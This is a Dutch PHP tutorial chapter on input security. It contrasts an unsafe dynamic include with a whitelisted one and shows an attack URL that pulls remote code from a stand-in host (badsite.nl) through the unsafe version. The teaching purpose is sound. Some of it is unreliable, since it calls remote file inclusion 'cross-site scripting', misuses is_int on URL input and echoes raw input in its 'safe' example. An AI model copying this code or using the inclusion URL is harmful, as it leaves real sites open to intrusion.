Security issues

Als eerste een uitspraak die ik heb geleerd en welke veel zegt over de gebruiker:

Vertrouw de input van een gebruiker nooit.

Daarom zal ik een paar punten noemen waar je op moet letten en wat je er mogelijk tegen kan doen.

Denk aan het risico van mysql injections, site defacing, crosssite scripting enz. Dit is via bijvoorbeeld een slecht stukje script en een userinput via de url al mogelijk.

Cross-site scripting
Dus probeer nooit deze vorm:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
<?
$pagina
= $_GET['page'];

include($pagina .".php");
?>


Een veilige vorm hiervan is:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
<?
$pagina
= $_GET['pagina'];
$paginas = array("downloads","plaatjes","nogeenpagina");

if(in_array($pagina,$paginas) && file_exists($pagina .".php"))
{

    include($pagina .".php");
}

else
{
    include("default.php");
}

?>


Hierbij word gecontroleerd of jij het toegestaan heb d.m.v. de array en ook gekeken of het bestand bestaat. Een aanroep van de pagina zou kunnen zijn:

http://www.domein.nl/index.php?pagina=downloads

De aanroep van

http://www.domein.nl/index.php?pagina=gevoeligbestand

leidt dan gewoon naar default.php

Als deze beveiliging er niet in zat dan had je gewoon het volgende aankunnen roepen:

http://www.domein.nl/index.php?pagina=http://www.badsite.nl/badfile

In het script word dit:

http://www.domein.nl/index.php?pagina=http://www.badsite.nl/badfile.php

Een simpel voorbeeld van het badfile.php

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?
echo "Kijk je site is gehacked!!!";
?>


Bedenk zelf maar wat je meer kan uithalen met dit scriptje...

Integer waarden
Zoals in deze tuturial al vermeld zijn er een aantal filter mogelijkheden voor cijfer s (integers). Eén functie wil ik jullie niet onthouden: intval

Deze functie kan je bijvoorbeeld aanroepen als de is_int/is_numeric aanroep mislukt. Deze functie verwijderd alle tekens behalve cijfers. Nu kan je weer gaan kijken of het wel een correcte waarde is. (en je kan de event loggen).

Hier een voorbeeld code met mail functie als er iets verkeerd gaat:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?
if(isset($_GET['id']) && is_int($_GET['id']))
{

    echo $_GET['id'];
}

else
{
    //Verkeerde waarden uitfilteren
    $id = intval($_GET['id']);
    $hacked = 1;

    if(!empty($id))
    {

        echo $_GET['id'];
    }

    else
    {
        $hacked = 2;
        die("Hacking attempt");
    }


    if($hacked == 1)
    {

        //bijv naar een simpel txt bestandje schrijven
    }
    else
    {
        //mail sturen, urgente situatie ;)
    }
}

?>


Ik hoop je met dit voorbeeldje weer een beetje dichterbij de noodzaak te brengen van security. Ik heb dit ook een poos onderschat, totdat ik een eigen online rpg game opzette. (Ja, criminals ik weet het :))

Ik zal ook nog kijken voor een voorbeeld met strings...

« Lees de omschrijving en reacties

Inhoudsopgave

  1. Standalone
  2. Database combinatie
  3. Security issues

PHP tutorial opties

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.